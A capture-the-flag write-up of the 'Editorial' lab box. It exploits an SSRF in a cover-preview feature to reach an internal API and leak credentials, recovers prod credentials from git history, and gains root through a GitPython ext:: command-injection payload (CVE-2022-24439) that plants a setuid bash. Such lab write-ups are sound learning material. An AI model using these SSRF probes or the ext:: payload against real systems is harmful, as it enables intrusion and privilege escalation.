Editorial
Overview
Editorial is an Easy Linux box that's basically a tour of "don't trust user-supplied URLs." The foothold is an SSRF in a book-cover upload feature that lets me pivot from the public site to an internal API on localhost, which leaks a set of dev credentials. From there, some old git history that was deleted from disk but not from .git gives up a second set of creds for a prod user. Root is a sudo rule around a Python script that clones a git repo from a user-supplied URL — vulnerable to CVE-2022-24439 in GitPython, which turns the ext:: git protocol into arbitrary command execution.

Reconnaissance
Standard full port sweep first, then a version scan on whatever comes back:
nmap -sCV -p- -T4 -v <IP> -oN nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Only two ports open. Port 80 redirects to editorial.htb, so that goes in /etc/hosts:
echo "<IP> editorial.htb" | sudo tee -a /etc/hosts
Web Enumeration
The site is a small Flask app sitting behind nginx (worth remembering for later — Flask apps often ship a dev server on some internal port).

A quick directory brute force turns up a few paths worth a look:
ffuf -u http://editorial.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://editorial.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 8577, Words: 1774, Lines: 177, Duration: 118ms]
about [Status: 200, Size: 2939, Words: 492, Lines: 72, Duration: 138ms]
upload [Status: 200, Size: 7140, Words: 1952, Lines: 210, Duration: 115ms]
[Status: 200, Size: 8577, Words: 1774, Lines: 177, Duration: 112ms]
/upload is a "publish a book" form that, alongside title/author fields, takes a URL for the book's cover image. There are two buttons: "Preview" and "Send book info." Preview is the interesting one — it makes the app fetch whatever URL I give it and renders the result back.

Pointing "Preview" at something I control (e.g. a Python HTTP server) confirms the server-side fetch and shows the request comes from python-requests/2.25.1 — so this is Python's requests library doing the fetching server-side, not a browser.
python3 -m http.server 8000
<TARGET_IP> - - [.] "GET / HTTP/1.1" 200 -
User-Agent: python-requests/2.25.1
That's a textbook SSRF: user-supplied URL, fetched server-side, response reflected back to me.
SSRF → Internal Port Discovery
when monitoring the traffic going through the /upload-cover it looks like once the file is uploaded the server returns the localtion of the file on the server which will help us next find the right internal port

Since the app will fetch anything I ask it to, I can use it to probe localhost from the server's own perspective. I captured the "Preview" request in Burp and saved it as a template, then fuzzed the port in the target URL:
seq 1 65535 > ports.txt
ffuf -c -w ./ports.txt -request request.raw -u http://editorial.htb/upload-cover
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/kali/HTB/Editorial/ports.txt
:: Header : Accept: */*
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Content-Type: multipart/form-data; boundary=----geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
:: Header : Connection: keep-alive
:: Header : Origin: http://editorial.htb
:: Header : Referer: http://editorial.htb/upload
:: Header : Priority: u=0
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
:: Data : ------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
Content-Disposition: form-data; name="bookurl"
http://localhost:FUZZ
------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
35 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 113ms]
29 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 116ms]
27 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 116ms]
30 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 114ms]
10 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 117ms]
36 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 120ms]
7 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 122ms]
40 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 124ms]
33 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 124ms]
6 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 127ms]
4 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 131ms]
37 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 140ms]
so next we filter with size and we get a valid port :
ffuf -c -w ./ports.txt -request request.raw -u http://editorial.htb/upload-cover -fs 61
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/kali/HTB/Editorial/ports.txt
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
:: Header : Accept: */*
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Content-Type: multipart/form-data; boundary=----geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
:: Header : Origin: http://editorial.htb
:: Header : Referer: http://editorial.htb/upload
:: Header : Priority: u=0
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Connection: keep-alive
:: Data : ------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
Content-Disposition: form-data; name="bookurl"
http://localhost:FUZZ
------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------geckoformboundaryecfda6c10a7203a97a59f7f6868e30ff--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 61
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 185ms]
Port 5000 an internal Flask API listening on 127.0.0.1:5000 that isn't exposed externally.
Leaking Credentials from the Internal API
Pointing the SSRF at http://127.0.0.1:5000/ returns what looks like API documentation in JSON. Walking the documented paths through the same SSRF eventually lands on:
http://127.0.0.1:5000/api/latest/metadata/messages/authors
>>>
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
which leaks a set of what look like template/example credentials sitting in the API response:
username: dev
password: dev080217_devAPI!@
Foothold — dev
Those creds work over SSH:
sshpass -p 'dev080217_devAPI!@' ssh dev@editorial.htb
dev@editorial:~$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)
User flag grabbed at /home/dev/user.txt.

Lateral Movement — dev → prod
Poking around dev's home directory turns up a git repo at ~/apps/.git. Running git log shows more commits than there are files currently on disk — always worth checking when files look like they've been "cleaned up":
dev@editorial:~/apps/.git$ git log -p
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb
............................................
............................................
..............................................
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
})
Even though the current working tree only shows the dev credentials, the old prod ones are sitting right there in history. su as prod:
su prod
Privilege Escalation — prod → root
sudo -l for prod shows a specific script can be run as root:
$ sudo -l
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
The script takes a URL argument and clones it with GitPython:
url_to_clone = sys.argv[1]
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Checking the installed GitPython version:
pip freeze | grep -i git
GitPython==3.1.29
That version, combined with protocol.ext.allow=always being force-enabled, is exactly the setup for CVE-2022-24439

git's ext:: transport protocol lets you specify an arbitrary command to run instead of a real remote, and GitPython here doesn't stop the caller from setting protocol.ext.allow. Since the clone URL is fully attacker-controlled, that's command execution as root.
so i created this small command and run it :
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/bash;chmod% 4777% /tmp/bash'
$ /tmp/bash -p
# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)
# cat /root/root.txt

Takeaways
- Any feature that fetches a user-supplied URL server-side (image previews, webhooks, "import from URL") is a potential SSRF — use it to probe internal-only ports and services.
git log/git diffon an app's repo can resurrect "deleted" secrets that never actually left history.- Pinned dependency versions matter: GitPython 3.1.29 + an over-permissive
protocol.ext.allowconfig turns a "safe-looking" clone helper into root RCE (CVE-2022-24439).
